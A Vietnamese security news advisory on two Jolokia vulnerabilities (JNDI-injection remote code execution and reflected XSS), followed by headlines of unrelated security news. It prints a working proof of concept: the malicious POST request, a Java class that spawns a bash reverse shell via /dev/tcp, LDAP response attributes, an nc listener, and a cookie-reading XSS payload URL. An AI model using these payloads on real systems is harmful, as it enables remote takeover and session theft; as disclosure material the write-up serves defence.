Jolokia là một sản phẩm mã nguồn mở được sử dụng để cung cấp giao diện API HTTP cho JMX (Java Management Extensions) - công nghệ được sử dụng để quản lý và giám sát các thiết bị, ứng dụng và các mạng hướng dịch vụ. Jolokia chứa một API có thể được sử dụng để gọi đối tượng MBeans (một đối tượng Java được quản lý, tương tự thành phần JavaBeans) được đăng ký trên máy chủ và đọc/ghi các thuộc tính. Hai lỗ hổng được phát hiện là: Remote Code Execution qua JNDI Injection (CVE-2018-1000130) và Cross-Site Scripting (CVE-2018-1000129). Các phiên bản được phát hành trước Jolokia 1.5.0 đều tồn tại 2 lỗ hổng bảo mật này.
Lỗ hổng Remote Code Execution qua JNDI Injection – CVE-2018-1000130
Trước phiên bản 1.5.0, dịch vụ Jolokia tồn tại chế độ proxy dễ dàng bị ảnh hưởng từ JNDI injection (). Khi agent Jolokia được triển khai trên chế độ proxy, với việc truy cập tới Jolokia web endpoint, kẻ tấn công từ bên ngoài có thể thực thi mã tùy ý từ xa thông qua tấn công JNDI injection. Cuộc tấn công này có thể thực hiện được vì thư viện Jolokia khởi tạo những kết nối LDAP/RMI sử dụng đầu vào của người dùng cung cấp.
Nếu hệ thống của bên thứ ba sử dụng dịch vụ Jolokia trong chế độ proxy, hệ thống này sẽ được tương tác với việc thực hiện mã từ xa thông qua Jolokia endpoint. Jolokia - tương tự như một thành phần, không cung cấp bất kỳ cơ chế xác thực cho endpoint để bảo vệ máy chủ chống lại kẻ tấn công.
Các bước mô phỏng
Request POST có thể được sử dụng để khai thác lỗ hổng này là:
POST /jolokia/ HTTP/1.1 Host: localhost:10007 Content-Type: application/x-www-form-urlencoded Content-Length: 206 { "type" : "read", "mbean" : "java.lang:type=Memory", "target" : { "url" : "service:jmx:rmi:///jndi/ldap://localhost:9092/jmxrmi" } } |
Tạo các máy chủ LDAP và HTTP để phát tán các payload độc hại. Những đoạn mã này sẽ được lấy từ Github: và . Sau đó tạo một ExportObject.java.
public class ExportObject { public ExportObject() { try { System.setSecurityManager(null); java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/127.0.0.1/7777 0>&1`"); } catch(Exception e) { e.printStackTrace(); } } } |
Máy chủ LDAP thực hiện lệnh: //127.0.0.1:7873/#ExportObject 9092”. Trong đó //127.0.0.1:7873/ là URL máy chủ HTTP của kẻ tấn công, ExportObject là tên của class Java chứa mã của kẻ tấn công và 9092 là cổng lắng nghe trên máy chủ LDAP.
Thực hiện lệnh “$ nc -lv 7777” để lắng nghe trên cổng 7777. Sau khi request POST được gửi đi, máy chủ có lỗ hổng sẽ tạo một request tới máy chủ LDAP của kẻ tấn công.
Khi máy chủ LDAP nhận được một request từ máy chủ có lỗ hổng trên cổng 9092, nó sẽ tạo một Entry object với các thuộc tính và gửi lại LDAP response.
e.addAttribute("javaClassName", "ExportObject"); e.addAttribute("javaCodeBase", "//127.0.0.1/"); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", "ExportObject"); |
Khi đó máy chủ sẽ nạp ExportObject.class từ máy chủ HTTP của kẻ tấn công, khởi tạo đối tượng và thực hiện lệnh đảo ngược. Kẻ tấn công nhận kết nối trở lại từ máy chủ có lỗ hổng bằng lệnh nc.
Lỗ hổng Cross-Site Scripting – CVE-2018-1000129
Ứng dụng web Jolokia dễ bị ảnh hưởng bởi một cuộc tấn công XSS cổ điển. Mặc định, Jolokia gửi các phản hồi với Content-Type application/json, nên hầu hết các trường hợp chèn thêm vào dữ liệu đầu vào của người dùng cung cấp là không khó khăn. Nhưng nó đã được phát hiện từ việc đọc mã nguồn, có thể chỉnh sửa trường Content-Type của phản hồi bằng việc thêm tham số mimeType vào request GET.
//localhost:8161/api/jolokia/read?mimeType=text/html
Sau đó, URL sẽ bị thay đổi bằng cách chèn thêm vào một số lệnh hoặc mã khai thác.
//localhost:8161/api/jolokia/read<svg%20onload=alert(document.cookie)>?mimeType=text/html
Với Content-Type text/html, có thể tấn công XSS reflected cổ điển. Việc khai thác lỗ hổng này cho phép kẻ tấn công cung cấp đoạn mã javascript trong các tham số truyền vào trong ứng dụng, đoạn mã này sẽ được thực thi trên trình duyệt web của người dùng cuối. Ngoài ra, kẻ tấn công có thể đánh cắp cookie, truy cập trái phép với phiên xác thực của người dùng, thay đổi nội dung trang web bị tấn công hoặc làm ảnh hưởng tới trình duyệt của người dùng.
Người dùng Jolokia cần khẩn trương cập nhập dịch vụ lên phiên bản 1.5.0.
Mr. 0
08:00 | 25/06/2018
08:00 | 26/09/2024
Theo dữ liệu mới từ Kaspersky, tình hình an ninh mạng Việt Nam đã có những dấu hiệu tích cực trong quý II/2024 so với cùng kỳ năm trước. Tuy nhiên, trước sự gia tăng và phức tạp của các loại hình tấn công mạng, việc duy trì cảnh giác cao độ và đầu tư vào các giải pháp bảo mật vẫn là nhiệm vụ cần được ưu tiên hàng đầu.
13:00 | 13/09/2024
Cisco đã phát hành bản cập nhật bảo mật để giải quyết hai lỗ hổng nghiêm trọng ảnh hưởng đến tiện ích cấp phép thông minh (Smart Licensing Utility), có thể cho phép kẻ tấn công từ xa chưa được xác thực leo thang đặc quyền hoặc truy cập thông tin nhạy cảm.
14:00 | 09/09/2024
Những kẻ tấn công chưa rõ danh tính đã triển khai một backdoor mới có tên Msupedge trên hệ thống Windows của một trường đại học ở Đài Loan, bằng cách khai thác lỗ hổng thực thi mã từ xa PHP (có mã định danh là CVE-2024-4577).
14:00 | 05/09/2024
Công ty an ninh mạng Lumen Technologies (Mỹ) cho biết, một nhóm tin tặc Trung Quốc đã khai thác một lỗ hổng phần mềm để xâm nhập vào một số công ty Internet tại Hoa Kỳ và nước ngoài.
Trong tháng 9/2024, Trung tâm Giám sát an toàn không gian mạng quốc gia (Cục An toàn thông tin, Bộ TT&TT) đã ghi nhận 125.338 địa chỉ website giả mạo các cơ quan, tổ chức tăng hơn 100 địa chỉ so với tháng 8 trước đó.
14:00 | 24/10/2024